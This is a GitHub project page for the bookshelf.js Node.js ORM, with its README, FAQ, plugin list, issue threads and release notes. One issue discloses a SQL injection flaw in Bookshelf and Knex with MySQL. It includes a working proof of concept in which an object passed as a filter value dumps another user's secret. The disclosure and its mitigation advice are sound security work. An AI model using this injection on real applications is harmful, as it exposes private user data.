A simple Node.js ORM for PostgreSQL, MySQL and SQLite3 built on top of Knex.js

Overview

bookshelf.js

NPM Version Build Status Dependency Status devDependency Status

Bookshelf is a JavaScript ORM for Node.js, built on the Knex SQL query builder. It features both Promise-based and traditional callback interfaces, transaction support, eager/nested-eager relation loading, polymorphic associations, and support for one-to-one, one-to-many, and many-to-many relations.

It is designed to work with PostgreSQL, MySQL, and SQLite3.

Website and documentation. The project is hosted on GitHub, and has a comprehensive test suite.

Introduction

Bookshelf aims to provide a simple library for common tasks when querying databases in JavaScript, and forming relations between these objects, taking a lot of ideas from the Data Mapper Pattern.

With a concise, literate codebase, Bookshelf is simple to read, understand, and extend. It doesn't force you to use any specific validation scheme, and provides flexible, efficient relation/nested-relation loading and first-class transaction support.

It's a lean object-relational mapper, allowing you to drop down to the raw Knex interface whenever you need a custom query that doesn't quite fit with the stock conventions.

Installation

You'll need to install a copy of Knex, and either mysql, pg, or sqlite3 from npm.

$ npm install knex
$ npm install bookshelf

# Then add one of the following:
$ npm install pg
$ npm install mysql
$ npm install sqlite3

The Bookshelf library is initialized by passing an initialized Knex client instance. The Knex documentation provides a number of examples for different databases.

// Setting up the database connection
const knex = require('knex')({
  client: 'mysql',
  connection: {
    host     : '127.0.0.1',
    user     : 'your_database_user',
    password : 'your_database_password',
    database : 'myapp_test',
    charset  : 'utf8'
  }
})
const bookshelf = require('bookshelf')(knex)

// Defining models
const User = bookshelf.model('User', {
  tableName: 'users'
})

This initialization should likely only ever happen once in your application. As it creates a connection pool for the current database, you should use the bookshelf instance returned throughout your library. You'll need to store this instance created by the initialize somewhere in the application so you can reference it. A common pattern to follow is to initialize the client in a module so you can easily reference it later:

// In a file named, e.g. bookshelf.js
const knex = require('knex')(dbConfig)
module.exports = require('bookshelf')(knex)

// elsewhere, to use the bookshelf client:
const bookshelf = require('./bookshelf')

const Post = bookshelf.model('Post', {
  // ...
})

Examples

Here is an example to get you started:

const knex = require('knex')({
  client: 'mysql',
  connection: process.env.MYSQL_DATABASE_CONNECTION
})
const bookshelf = require('bookshelf')(knex)

const User = bookshelf.model('User', {
  tableName: 'users',
  posts() {
    return this.hasMany(Posts)
  }
})

const Post = bookshelf.model('Post', {
  tableName: 'posts',
  tags() {
    return this.belongsToMany(Tag)
  }
})

const Tag = bookshelf.model('Tag', {
  tableName: 'tags'
})

new User({id: 1}).fetch({withRelated: ['posts.tags']}).then((user) => {
  console.log(user.related('posts').toJSON())
}).catch((error) => {
  console.error(error)
})

Official Plugins

  • Virtuals: Define virtual properties on your model to compute new values.
  • Case Converter: Handles the conversion between the database's snake_cased and a model's camelCased properties automatically.
  • Processor: Allows defining custom processor functions that handle transformation of values whenever they are .set() on a model.

Community plugins

  • bookshelf-cascade-delete - Cascade delete related models on destroy.
  • bookshelf-json-columns - Parse and stringify JSON columns on save and fetch instead of manually define hooks for each model (PostgreSQL and SQLite).
  • bookshelf-mask - Similar to the functionality of the {@link Model#visible} attribute but supporting multiple scopes, masking models and collections using the json-mask API.
  • bookshelf-schema - A plugin for handling fields, relations, scopes and more.
  • bookshelf-signals - A plugin that translates Bookshelf events to a central hub.
  • bookshelf-paranoia - Protect your database from data loss by soft deleting your rows.
  • bookshelf-uuid - Automatically generates UUIDs for your models.
  • bookshelf-modelbase - An alternative to extend Model, adding timestamps, attribute validation and some native CRUD methods.
  • bookshelf-advanced-serialization - A more powerful visibility plugin, supporting serializing models and collections according to access permissions, application context, and after ensuring relations have been loaded.
  • bookshelf-plugin-mode - Plugin inspired by the functionality of the {@link Model#visible} attribute, allowing to specify different modes with corresponding visible/hidden fields of model.
  • bookshelf-secure-password - A plugin for easily securing passwords using bcrypt.
  • bookshelf-bcrypt - Another plugin for automatic password hashing for your bookshelf models using bcrypt.
  • bookshelf-bcrypt.js - Fork of bookshelf-bcrypt using bcryptjs, using less dependencies.
  • bookshelf-default-select - Enables default column selection for models. Inspired by the functionality of the {@link Model#visible} attribute, but operates on the database level.
  • bookshelf-ez-fetch - Convenient fetching methods which allow for compact filtering, relation selection and error handling.
  • bookshelf-manager - Model & Collection manager to make it easy to create & save deep, nested JSON structures from API requests.
  • bookshelf-spotparse - A plugin that makes formatting, parsing and finding models easier.
  • bookshelf-update - Simple Bookshelf plugin that allows simple patching of models and skips updating if no values have changed.

Support

Have questions about the library? Come join us in the #bookshelf freenode IRC channel for support on knex.js and bookshelf.js, or post an issue on Stack Overflow.

Contributing

If you want to contribute to Bookshelf you'll usually want to report an issue or submit a pull-request. For this purpose the online repository is available on GitHub.

For further help setting up your local development environment or learning how you can contribute to Bookshelf you should read the Contributing document available on GitHub.

F.A.Q.

Can I use standard node.js style callbacks?

Yes, you can call .asCallback(function(err, resp) { on any database operation method and use the standard (err, result) style callback interface if you prefer.

My relations don't seem to be loading, what's up?

Make sure to check that the type is correct for the initial parameters passed to the initial model being fetched. For example new Model({id: '1'}).load([relations...]) will not return the same as new Model({id: 1}).load([relations...]) - notice that the id is a string in one case and a number in the other. This can be a common mistake if retrieving the id from a url parameter.

This is only an issue if you're eager loading data with load without first fetching the original model. new Model({id: '1'}).fetch({withRelated: [relations...]}) should work just fine.

My process won't exit after my script is finished, why?

The issue here is that Knex, the database abstraction layer used by Bookshelf, uses connection pooling and thus keeps the database connection open. If you want your process to exit after your script has finished, you will have to call .destroy(cb) on the knex property of your Bookshelf instance or on the Knex instance passed during initialization. More information about connection pooling can be found over at the Knex docs.

How do I debug?

If you pass debug: true in the options object to your knex initialize call, you can see all of the query calls being made. You can also pass that same option to all methods that access the database, like model.fetch() or model.destroy(). Examples:

// Turning on debug mode for all queries
const knex = require('knex')({
  debug: true,
  client: 'mysql',
  connection: process.env.MYSQL_DATABASE_CONNECTION
})
const bookshelf = require('bookshelf')(knex)

// Debugging a single query
new User({id: 1}).fetch({debug: true, withRelated: ['posts.tags']}).then(user => {
  // ...
})

Sometimes you need to dive a bit further into the various calls and see what all is going on behind the scenes. You can use node-inspector, which allows you to debug code with debugger statements like you would in the browser.

Bookshelf uses its own copy of the bluebird Promise library. You can read up here for more on debugging Promises.

Adding the following block at the start of your application code will catch any errors not otherwise caught in the normal Promise chain handlers, which is very helpful in debugging:

process.stderr.on('data', (data) => {
  console.log(data)
})

How do I run the test suite?

See the CONTRIBUTING document on GitHub.

Can I use Bookshelf outside of Node.js?

While it primarily targets Node.js, all dependencies are browser compatible, and it could be adapted to work with other javascript environments supporting a sqlite3 database, by providing a custom Knex adapter. No such adapter exists though.

Which open-source projects are using Bookshelf?

We found the following projects using Bookshelf, but there can be more:

  • Ghost (A blogging platform) uses bookshelf. [Link]
  • Soapee (Soap Making Community and Resources) uses bookshelf. [Link]
  • NodeZA (Node.js social platform for developers in South Africa) uses bookshelf. [Link]
  • Sunday Cook (A social cooking event platform) uses bookshelf. [Link]
  • FlyptoX (Open-source Node.js cryptocurrency exchange) uses bookshelf. [Link]
  • And of course, everything on here use bookshelf too.
Comments
  • Bookshelf Next - New Project Organisation, call for developers and ideas

    Bookshelf Next - New Project Organisation, call for developers and ideas

    Hello Developers!

    Last month the project creator and main maintainer @tgriesser has granted administrative power and ownership of bookshelf to a new organisation, which will oversee the future of our beloved ORM.

    Reference: #1511

    
Me and @dj-hedgehog are some of the members of this organisation.

    We want to restart the development of bookshelf, and we have already started the work with the merge of new Pull Requests, and the release of version 0.10.4

    We are also analysing the issues backlog

.

    But we need your help to thrive the project, in form of collaborations, new ideas, PRs etc…

    If you want to help please follow this guidelines

    1. Use this thread to discuss about the future of the project or to propose yourself as developer
    2. Open a new issue for every idea you might want to be implemented in the future
    3. Submit a pull request

    In the scope of reduce the huge size of the backlog we will close all the PRs and Issues older then December 2016, asking to reopen them if issues are still relevant, and PRs are still valid.

    We will use the Github Projects to organise our work

    We can't work alone, because this is why bookshelf started to fail this winter, we need your help and experties.

    Thank You for your love for bookshelf and for every advice and help you will give us

    discussion 
    opened by Playrom 94
  • Can you provide a pagination example?

    Can you provide a pagination example?

    A pagination always uses lots of features, because there are two queries involved, in which these concepts are used: filtering, counting, offsetting, limiting

    Can you please provide a pagination example somewhere in the docs? it would help a lot!

    I was thinking of something like this:

    new db.Log({})
    .query(function(qb) {
        //qb.where(..) // some filter
    })
    .fetch()
    .then(function(filteredLogs) {
    
        var count = filteredLogs.count // **** ???
    
        new db.Log({})
        .query(function(qb) {
            //qb.where(..) // same filter repeated here
            qb.orderBy('date', 'desc');
            qb.limit(pageSize);
            qb.offset(pageSize * (page - 1));
        })
        .fetch()
        .then(function(logs) {
    
            res.json({
                "error": false,
                "message": "",
                "page": page,
                "pageSize": pageSize,
                "logsCount": count,
                "totalPages": Math.ceil(count/pageSize),
                "pageOfLogs": logs
            });
        });
    });
    

    But I'm not sure about counting... also there is nothing about counting in the docs. In the knex docs they refer to count but it genereates a SQL statement.. so.. yeah, i'm lost, I want the result of that statement, not the statement itself.

    Edit: I figured out that I can count with knex like this:

    db.knex(new db.Log().tableName)
    .where(/* some filter */)
    .count()
    .then(function(filteredLogs) {
    
        var count = filteredLogs[0].count
    
        // I could use bookshelf here, using same filter,
        // but including limit, offset and orderby
    });
    

    Is this a good way of doing this? Looks semi ugly

    discussion PR please 
    opened by germanger 42
  • Fix inconsistent previous attributes

    Fix inconsistent previous attributes

    • Related Issues: #1520, #326

    Introduction

    This makes previousAttributes() and previous() behave like users expect them to, and always return the actual previous attributes.

    Also updates the documentation to make it clearer.

    Motivation

    The current behavior causes some confusion, which isn't helped by the documentation not being very clear about it, and it seems to be a bit different from what other ORMs do. It's also not very useful to have the previous attributes be reset back to match the current attributes on each save() or destroy() call. This makes these methods far less useful since they can only be used to check for the previous attributes before the model is saved or destroyed.

    Proposed solution

    This changes the previous() and previousAttributes() methods so that their values are not reset back to the current attributes when saving or destroying a model. This means that the previous attributes are accessible after any of these operations, making them way more useful.

    This is a breaking change, but currently it's a bit useless having these methods return the same values that are already set on the model after a save(), so I doubt it will cause problems for anyone.

    Fixes #1520.

    Alternatives considered

    Implementing additional methods to get the previous attributes before a save(), but that would require adding more properties to models, more methods, and more chance for confusion. It would mean this change wouldn't break backwards compatibility though.

    bug change 
    opened by ricardograca 39
  • Missing columns after save()

    Missing columns after save()

    I have a table with created_at and updated_at timestamps. The values for those columns are automatically generated by the database server. I don't want to generate those values in code, I want them generated by db server to maintain accuracy across all app servers.

    I create a new model like this:

    var instance = new Model({
        'name': 'Joe'
    });
    instance.save().then(function() {
        console.log(instance.toJSON());
    });
    

    The result of instance.toJSON() is missing both created_at and updated_at columns, even though they do exist in the database. Pretty much every ORM platform I recall working with has automatically pulled those values for me.

    If I submit a PR, can we get a fix merged in?

    feature bookshelf-next 
    opened by tkambler 39
  • related models count

    related models count

    What is is the desired way to call 'count' on a collection?

    Say i have a model

    User = db.Model.extend({
      tableName: 'users',
      photos: function(){ return this.hasMany(Photo); }
    });
    
    new User({id: 1}).fetch().then(function(user) {
      user.photos().count().then(...)  // <- seems to be a good way to query 'select count(*) from photos where user_id = ?'
    });
    
    feature 
    opened by bogus34 36
  • This ORM is amazing. Period.

    This ORM is amazing. Period.

    Sorry that i write this here, but i couldn't find any other place where to rant about this.

    After trying 3 other ORM's for node, finally i somehow arrived here (even if google refuses to show this page when you search for "nodejs ORM"), and after playing with it for a while i can only say that this is the most flexible ORM so far.

    I am in the process of moving a currently working API made in rails into a node app. The only one ORM that allowed me to format the objects the way i want, build relations any way i want and a lot other stuff without having to deal with incredible annoying "assumptions" has been this one.

    Since im not a Backbone user, it took me a little while to realize how to do some stuff, but after some investigation and reading of your incredibly documented sources i am now up and running.

    Thanks for such an amazing piece of software, you rock.

    // Diego

    opened by DiegoMax 34
  • belongsToMany does not produce a correct object for certain relationships

    belongsToMany does not produce a correct object for certain relationships

    The examples for belongsToMany() show the ability to use fetch() on the produced object. I'm running into an error where the resulting object from belongsToMany() doesn't have that method in its prototype.

    i believe this line is the problem: https://github.com/tgriesser/bookshelf/blob/master/dialects/sql/relation.js#L37

    when belongsToMany() hits the condition !isInverse(), it returns an empty target object extended with the pivot helpers.

    am i missing something? how am i supposed to query the collection represented by the relationship if not by using fetch() or query()?

    question 
    opened by visigoth 28
  • Auto-update timestamps on insert in seed file

    Auto-update timestamps on insert in seed file

    Hi. I have a Section model defined as:

    // base-model.js
    base.Model = baseBookshelf.Model.extend({
      hasTimestamps: true
    });
    module.exports = base;
    
    // section-model.js
    var Section = base.Model.extend({
      tableName: 'sections',
      classifieds: function() {
        return this.belongsToMany('Classified');
      }
    });
    
    module.exports = {
      Section: base.model('Section', Section)
    };
    

    Running this seed below doesn't populate the created_at and updated_at fields in the sections database. I know I can set them manually in the seed file, but would like to stay DRY and have these fields updated automatically. Is this possible in Bookshelf?

    exports.seed = function(knex, Promise) {
      return knex('sections').insert([
        { id: 1, code: 'cdc' },
        { id: 2, code: 'psd' },
        { id: 3, code: 'for' }
      ]);
    };
    
    knex 
    opened by demisx 26
  • Discussion about next Bookshelf version

    Discussion about next Bookshelf version

    I figured that now that I have enough code and ideas that I'm starting to get somewhere with the next iteration of Bookshelf I should open a ticket to discuss some ideas I have and see if anyone has thoughts / feedback / ideas / unaddressed pain points as I continue to work on it in the coming weeks.

    Rationale / Background:

    Bookshelf was originally ported heavily from Backbone, to bring some of the ideas of the Model & Collection structure to the server via an ORM. While it's been nice, a lot of the underlying concepts of Backbone are either unnecessary or antithetical to the core of what an good ORM should include. Also, sharing code on the client and server between Bookshelf and Backbone isn't really going to happen to any major degree (beyond ad-hoc handmade integrations). Further, a lot of the code to keep consistent with Backbone has also turned the source into a damn disaster.

    So now that I've had a chance to step back and evaluate / learn a bit from other ORMs, languages, libraries, etc I feel it's time to refine a decent bit of the core of Bookshelf to really make for the best possible experience out of the box, while providing for a lot of the issues that have come up which we haven't been able to address and simultaneously cutting the codebase in at least half, hopefully more.

    Active Record vs Data Mapper

    Bookshelf currently, unfortunately, follows an Active Record Pattern. Put simply, it means the backing classes know about the underlying connection. This is a design flaw making things harder to test and ultimately to use in an application. Currently, the initialized bookshelf instance needs to be either created as a singleton cached require module or injected into every file creating a model. #90

    This isn't sustainable:

    var bookshelf = require('/path/to/bookshelf-init.js');
    
    var User = bookshelf.Model.extend({
      tableName: 'users'
    })
    

    rather than just being able to do:

    var Bookshelf = require('bookshelf');
    
    var User = Bookshelf.Model.extend({
      tableName: 'users'
    });
    

    or with ES6:

    var Bookshelf = require('bookshelf');
    
    class User extends Bookshelf.Model {
       getTableName() {
         return 'users';
       }
    }
    

    (ESNext spec doesn't provide for prop definitions on the class body, still thinking about different syntax ideas for some of these things).

    Models would then be constructed by the initialized bookshelf instance, via (long form):

    var bookshelf = require('bookshelf')(knex);
    var User = require('./models/user')
    
    bookshelf.createModel(User).where({id: 1}).fetch().then(...
    

    or alternatively:

    bookshelf('user').where({id: 1}).fetch().then(...
    
    bookshelf('user', {name: 'Tim'}).save().then(...
    

    The second form would act similar to how the registry plugin does now, allowing one to register specific models on the bookshelf instance, or look them up on a require path (default process.cwd() + '/models')... or just create a new model constructor which assumes that table exists, you just don't want to do any configuration on it (similar to how knex assumes the table exists). If a schema follows the conventions laid out by the library, there's a good possibility you won't need to define any model files.

    Collections

    Collections should not be as first class as they are in Bookshelf, (I would argue they shouldn't be as much in Backbone, but I guess with a limited scope of simple REST API calls it doesn't matter as much to most).

    I'm thinking in Bookshelf, the collection will be stripped down measurably, turning into a very simple ResultSet object. This will have no purpose other than to iterate the results of a query, and possibly to load extra data onto the result models (though I'm thinking even that might be better placed elsewhere).

    It won't be possible to add directly to a ResultSet anymore, you'll only be able to iterate. If you want to add to it, you'll need to cast as an array and work with it there. Further, you can't lookup based on PK, since ResultSets won't be indexed map-like as they are in Backbone (though it'll be possible to do this on the backing session described below).

    So, in summary, the heavy collection is pretty much going to go away as is, though it'll be possible to define the target ResultSet class if you really need to define something special for handling your results.

    Looking here for any cases where people are using features from the current Collection api which seem like they might go away and you won't be able to live without them, to see how we can work on that.

    Attributes

    There does need to be some way of doing prop type validation / casting that can be optionally defined on the model, but ideally we'll be able to gather this meta information on the model and apply/cache it prior to the first async action. This way we'll have the nice getter/setters on the attributes. It'll also be possible for anyone to create their own type definitions and transforms.

    Relations

    Relations should be both more configurable and more generic than they are now, currently the lack of ability to define every possible permutation of joins is a weakness, as is the lack of support for such items as foreign keys. Relation methods should take two arguments, the Target class and options, where flags can be defined constraining the relation (we can figure out what these mean later).

    The related method on a model is also a bit ambiguous, since you can only have a single instance of a related model e.g. user.related('accounts'), but you can construct multiple related models via creating new instances with user.accounts().

    So I'm thinking there'll be two ways of defining relations, dynamically and statically. The only difference with statically defined relations is they be made available with defineProperty getters on the model, and they will always return the same fetched instance.

    I'm also thinking that on relations, you should be able to do something like:

    withRelated: {
       users: {
         where: {active: true},
         withRelated: {
            posts: {
               where: {moderated: true},
               withRelated: {
                 comments: {limit: 5}
               }
            },
            comments: true
         }
       }
    }
    

    as a more declarative version of:

    withRelated: [{'users': function(qb) {
      qb.where('active', true)
    }}, {'users.posts': function(qb) {
      qb.where('moderated', true)
    }}, 'users.comments', 
    {'users.posts.comments': function(qb) {
      qb.limit(5);
    }}]
    

    This would address issues like #516

    I have some other ideas about being able to do joins on models so you don't need to do multiple queries to load some relations, especially now that we should know the table schemas prior to querying.

    Session

    The concept of having a backing "Session" would be helpful in mitigating the "object relational impendence problem" a bit. Here we can keep track of the rows which are fetched and ensure each model has a === backing "row". This should not be mistaken for a cache, though we could likely fast-path some very simple queries which have been already fully fetched and only lookup based on primary keys. Any visibility modifications defined on a specific model would happen at the model layer (so if two models share the same table/backing row but you're not permitted to set or retrieve a model item on one, that'd be the model's job to handle during the get / set / iterate).

    Because all the data is fetched to a single location, it should be significantly easier to format everything into something like "JSON API" or Transit or whatever you want.

    The session will also be able to log every query applied over a certain amount of time, which would be awesome if it's tied to the request/response cycle, all of the queries that go into a particular request/response can be easily dumped or displayed in a dashboard or something like that. If anyone has any interest in building a nice UI for that once this gets a little further along let me know, I think it could be a really great debug feature.

    Transactions

    Transactions are certainly more cumbersome than they are in knex, particularly since the 0.6 release of knex. They're also a bit dangerous, since in order for them to work reliably, you need to explicitly pass the transacting option to every query you want on the transaction. I think Bookshelf should follow a similar model as knex, where the transaction is bound to the instance:

    bookshelf.transaction(function(bookshelf) {
       return bookshelf('users').fetchAll().then(function(users) {
         return users.accounts().fetch();
       }).then(function(accounts) {
         return P.all(accounts.map(function(account) {
           return account.destroy();
         }))
       })
    }).then(function() {
      // transaction success
    }).catch(errHandler)
    

    Object Lifecycles

    When a model is persisted, it should be immediately fetched afterwards by default. In postgres this can be done easily in one hit with returning * on pretty much every query. This could be optionally skipped, but in most cases I'm thinking keeping everything in a consistent state will be worth it (and if you don't need that, use knex).

    Bulk inserts / deletes / updates:

    These should be made possible by setting a flag to queue for deletion / save, etc.

    users.forEach(function(user) {
      if (user.status === 'inactive') users.markDestroyed();
    })
    users.getSession().sync().then(function() {
      // delete from users where id in (....)
    })
    

    This should help us cut-down on queries in these situations. Not sure what the best interface would be here, users.destroy({queue: true}), users.destroy({defer: true}), users.queueDestroy()

    Soft Deletes

    These should be available by default. No more hacking around to make this work, it'll just be a thing. One question would be how to deal with the case where you sometimes want to work with deleted items. I'm imagining a withDeleted function would be used to indicate you want to fetch / iterate the soft-deleted models.

    model.withDeleted(function(model) {
       return model.fetchAll();
    }).then(function(models) {
      // all models, even the deleted ones, though to see them 
      // in the iterator, you'll need to be within a withDeleted block
    })
    

    Dialect specific adapters

    So one thing I mentioned was the fact that we should be able to do things like returning *, this would require that we have different backing adapters. With this we should be able to start adding some of the nice new features of PG which have been released recently (and sort of prompted writing this post).

    This may also eventually open up the potential for integrating with additional databases (though definitely not an immediate concern, it would be pretty cool), at the very least I'm thinking it'll be possible to relate with different relational db's - which would actually be really cool for instances of applications with sharded DB's.

    Other Thoughts:

    Camel Case

    parse and transform and such are pretty weak, and they're mostly used for camel casing attrs, so we'll just add this as an option, keeping the model as the transform layer for the keys so we don't need to go to and from all the time when coming from the db. Then we'll advertise the parse and transform

    Events

    I'm wondering whether events are still the best way to deal with lifecycle actions. I haven't decided that they're going to be kicked entirely but I feel like having lifecycle methods defined on models would be much cleaner, less ad-hoc and easier to reason about. It'd also be simple to just hook the events into the lifecycle events at the top-level if need be.

    Summary

    I'll add other thoughts as they come up, just wanted to see what anyone thoughts and if there were any major concerns with some of the ideas expressed here. Obviously in order to do something like this, there will be some breaking changes but I think the tradeoff between potential performance, features, and general code quality will heavily lean in favor of a little breakage, particularly if there's a very clear upgrade path. I've also got a sample application in mind to show off some of these features.

    Looking forward to addressing a lot of the flaws that have come up and getting back on track to making Bookshelf the de-facto JS ORM in 2015.

    /cc @tkellen

    discussion bookshelf-next 
    opened by tgriesser 26
  • Allows models to be registered with a string name

    Allows models to be registered with a string name

    We've had a lot of people post issues related to circular dependencies.

    Mongoose solves this by registering models on the module such that you can access any model using mongoose.model('ModelName'). That also means that model relations can be defined with like this:referenceToModelName: {ref: 'ModelName'}.

    This seems like a good way to handle things and the consensus in the most recent discussion (#181) was Bookshelf.register(model, 'registeredName');.

    Steps:

    • [x] Tests
    • [x] Code
    • [x] Documentation — change all relations examples to the string syntax

    I'm going to take a look at this this weekend.

    feature 
    opened by bendrucker 26
  • Is it possible to get a collection of Bookshelf Models

    Is it possible to get a collection of Bookshelf Models

    Hi Tim, I am wondering if it is somehow possible to load more models of the same table in a performant way. I know Bookshelf model is related to a database row

    I am having similar scenario

    tbl Post tbl User, tbl PostComment -user_id -post_id

    Is it somehow possible to fetch all post comments with Bookshelf and having users and posts attached?

    question 
    opened by kubino 26
  • Specify sub-ordinate database name to connect to through Bookshelf model

    Specify sub-ordinate database name to connect to through Bookshelf model

    Issue Description

    I could not specify a sub-db under the main-db to make query calls as bookshelf does not provide an option to mention a sub-db in its model. I have a db structure like below :

    -mainDB - sub-db-1 - table-1 - table-2 - sub-db-2 - table-1 - table-2
    - sub-db-3 - table-1 - table-2

    Expected Behavior

    I would like to mention a sub-db in bookshelf model after connecting to the main-db then make query calls to tables inside the sub-db.

    opened by Akhil-gif777 0
  • Limited SQL Injection Vulnerability in Bookshelf.js

    Limited SQL Injection Vulnerability in Bookshelf.js

    Issue Description

    Bookshelf.js does not properly sanitise user inputs that are either an Object or Array type. If MySQL is used as the backend DBMS, the resulting query that is built using Knex.js is a valid SQL query, but the MySQL server may ignore filters in the WHERE clause. Depending on how developers use Bookshelf.js, this can lead to sensitive information disclosure.

    For further details about the vulnerability I wrote an article about the limited SQLi vulnerability in Knex.js that makes Bookshelf.js vulnerable.

    Proof of Concept (PoC)

    To confirm the vulnerability, I created a MySQL database with a users table with the following rows.

    | name | secret | | - | - | | admin | you should not be able to return this! | | guest | hello world |

    Then let's imagine a web application that allows querying with the secret column as a filter. The goal is to dump the value of the secret column for the admin user, without knowing the value. The following PoC (an input of {"name": "admin"}) builds a valid query that is processed by the MySQL server and dumps the admins secret.

    const knex = require('knex')({
        client: 'mysql2',
        connection: {
            host: '127.0.0.1',
            user: 'root',
            password: 'topsecret',
            database: 'testdb',
            charset: 'utf8'
        }
    })
    
    knex.schema.hasTable('users').then((exists) => {
        if (!exists) {
            knex.schema.createTable('users', (table) => {
                table.increments('id').primary()
                table.string('name').notNullable()
                table.string('secret').notNullable()
            }).then()
            knex('users').insert({
                name: "admin",
                secret: "you should not be able to return this!"
            }).then()
            knex('users').insert({
                name: "guest",
                secret: "hello world"
            }).then()
        }
    })
    
    const bookshelf = require('bookshelf')(knex)
    
    const User = bookshelf.model('User', {
        tableName: 'users'
    })
    
    attackerControlled = {"name": "admin"}
    
    new User({secret: attackerControlled}).fetch().then((user) => {
        console.log(user)
    })
    

    Output from running the above script

    ModelBase {
      attributes: [Object: null prototype] {
        secret: 'you should not be able to return this!',
        id: 1,
        name: 'admin'
      },
      _previousAttributes: {
        secret: 'you should not be able to return this!',
        id: 1,
        name: 'admin'
      },
      changed: [Object: null prototype] {},
      relations: {},
      cid: 'c1',
      _knex: null,
      id: 1
    }
    

    Recommendation to Fix

    The vulnerability is primarily caused by Knex.js not securely handling inputs into the WHERE clause. However, ORMs should also sanitise user inputs.

    I understand this project is no longer being maintained, but it is still widely used across a lot applications. If you are using Bookshelf.js (or Knex.js) you need to implement input sanitisation before using those packages. A simple fix would be to reject all object type inputs by using the typeof JavaScript operator as shown below.

    const allowedTypes = [
        "number",
        "string",
        "boolean"
    ]
    
    if (!allowedTypes.includes(typeof userInput)) {
        return "Bugger off hacker!"
    }
    

    If you have any other solutions for fixing this vulnerability until a patch for Knex.js has been released, feel free to update this issue.

    opened by Ccamm 0
  • Is Bookshelf actively maintained?

    Is Bookshelf actively maintained?

    Hi, the last version of bookshelf was in June 2020, the last commit to master is more than a year ago, the freenode #bookshelf seems dead (#2114), in the PRs and the open issues there is few involvement of the project maintainers

    which makes me wonder whether this project is still actively maintained and if not, what could be done about it?

    opened by websupporter 1
  • Pass the options object when fetching related data

    Pass the options object when fetching related data

    Introduction

    The options object is passed a bit everywhere and isn't passed to relations. By passing the options object into relations, this opens countless possibilities, such as filtering data according to logged-in user rights directly into the relation.

    Motivation

    Our main use case is filtering related data according to the user rights. To be able to do this, we need to access a context object to know who is the logged-in user. Currently, relations can't be "dynamic" and adapt to a tenant or other contextual data.

    Proposed solution

    By simply passing the options object to the related fetching, we can implement something like this:

    topics: function (options) {
        return this
            .hasMany('Topic')
            .query(qb => {
                qb
                    .whereExists(MeetingDbQueries.filterByTopicsAccess(options.context.user.id));
            });
    }
    

    Current PR Issues

    I didn't encounter any issues up to now.

    Alternatives considered

    I've tried many ways to access some data from the relation function unsuccessfully.

    Thank you for considering this PR.

    opened by daviddutch 0
  • Property 'fetchPage' does not exist on type.

    Property 'fetchPage' does not exist on type.

    I use typescript v. 4.5.3, node.js v 14.17.4 and bookshelf + postgres I have this code: export async function getTransactions(userId: number, page: number): Promise { try { let transactions = await new TariffsTransactions() .where({"user_id": userId}) .orderBy("created_at", 'DESC') .fetchPage({ page }); if (transactions){ transactions = (transactions).serialize(); return transactions; } else{ return {}; } } catch (err: any){ return err; } }

    and a get error: TS2339: Property 'fetchPage' does not exist on type 'TariffsTransactions'.

    It's model:

    import bookshelf from '../config/bookshelf';

    import Table from '../resources/enums/Table'; import TariffsFunctions from './TariffsFunctions'; import Users from './User';

    class TariffsTransactions extends bookshelf.Model { get requireFetch(): boolean { return false; }

    get tableName(): string { return Table.TARIFFS_TRANSACTIONS; }

    get hasTimestamps(): boolean { return true; } tarrifsFunctions(): any { return this.hasMany(TariffsFunctions, 'id'); } users(): any { return this.hasMany(Users, 'id'); } }

    export default TariffsTransactions;

    How i can fix this error?

    opened by tyazhelomov 0
    Releases(1.2.0)
    • 1.2.0(Jun 7, 2020)

      1.2.0 Jun 07, 2020 - Diff

      Features

      • Add option to control auto refresh after save: #2070

      Tests

      • Adds some more integration tests to Collection#fetch: #2079

      Dependencies

      • Support Knex version 0.21.0 and up: #2072
      • Update some dependencies of dependencies to fix security warnings: #2078
      Source code(tar.gz)
      Source code(zip)
    • 1.1.1(Mar 28, 2020)

      1.1.1 Mar 28, 2020 - Diff

      Bug fixes

      • Fix attributes that are changed during event hook not being persisted: #2062
      • Fix incorrect query object being sent to event handlers with morphTo: #2059
      • Fix non-object attributes being passed to model.parse() in some cases: #2056

      Documentation

      • Fix typo in doclet: #2057
      Source code(tar.gz)
      Source code(zip)
    • 0.15.2(Mar 28, 2020)

    • 1.1.0(Jan 31, 2020)

    • 1.0.1(Oct 6, 2019)

      1.0.1 Oct 6, 2019 - Diff

      Bug fixes

      • Fix JSON.stringify causing TypeError in some cases: #2029

      Documentation

      • Add documentation for Model#id: #2031
      • Fix number of arguments in Model#save doclet: #2030

      Dependencies

      • Update js-yaml to version 3.13.1: #2023
      • Update handlebars to version 4.2.1: #2022
      • Update uuid to version 3.3.3: #2021
      • Update sqlite3 to version 4.1.0: #2021
      • Update sinon to 7.4.2: #2021
      • Update prettier to 1.18.2: #2021
      • Update mocha to version 6.2.0: #2021
      • Update lint-staged to version 9.2.5: #2021
      • Update jsdoc to version 3.6.3: #2021
      • Update husky to version 3.0.5: #2021
      • Update eslint-plugin-prettier to version 3.1.1: #2021
      • Update eslint-config-prettier to version 6.3.0: #2021
      • Update eslint to version 6.4.0: #2021
      • Update chai to 4.2.0: #2021
      • Update eslint-utils from 1.3.1 to 1.4.2: #2020
      Source code(tar.gz)
      Source code(zip)
    • 1.0.0(Sep 13, 2019)

      1.0.0 Sep 13, 2019 - Diff

      This is a big step in Bookshelf's development process. Although there are a lot of breaking changes in this release, the API will be kept stable for some time now and work will be focused on backwards compatible features and bug fixes. It's possible that Node.js 6 support will be dropped in the near future but that will be the biggest change.

      There is a migration guide in the wiki to help with all of the changes in this version.

      Breaking changes

      • This version requires Node.js 8+ if using a Knex version greater than 0.18.4, otherwise Node.js 6 is still supported: #1991
      • Make require: true the default for Model#fetch: #2006
      • Remove some Model and Collection lodash based methods: #2005
      • Change Collection#where so it behaves like Model#where: #2001
      • Move all plugins to their own repositories: #2000
      • Promote some useful plugins to core: #1992, #1993, #1996

      Enhancements

      • Refresh model attributes after a save operation: #2012

      Bug fixes

      • Fix missing columns after save: #2012
      • Fix Case Converter plugin overriding any previously defined parse methods: #2000, [email protected]
      • Fix registry saving models inadvertently across different bookshelf instances: #1996

      Documentation

      • Add example of how to use custom collections: #2015
      • Improve documentation related to debug mode: #2014
      • Add note that count methods return String with Postgres: #2013
      • Fix typo in Readme: #1998
      • Better Plugin Docs: #1992, #1993, #1996, #2000

      Dependencies

      • Update lint-staged to version 9.1.0: #1994
      • Update bluebird to 3.5.5: #1991
      • Update lodash to 4.17.14: #1991
      • Update mocha to version 6.1.4: #1991
      • Update mysql to version 2.17.1: #1991
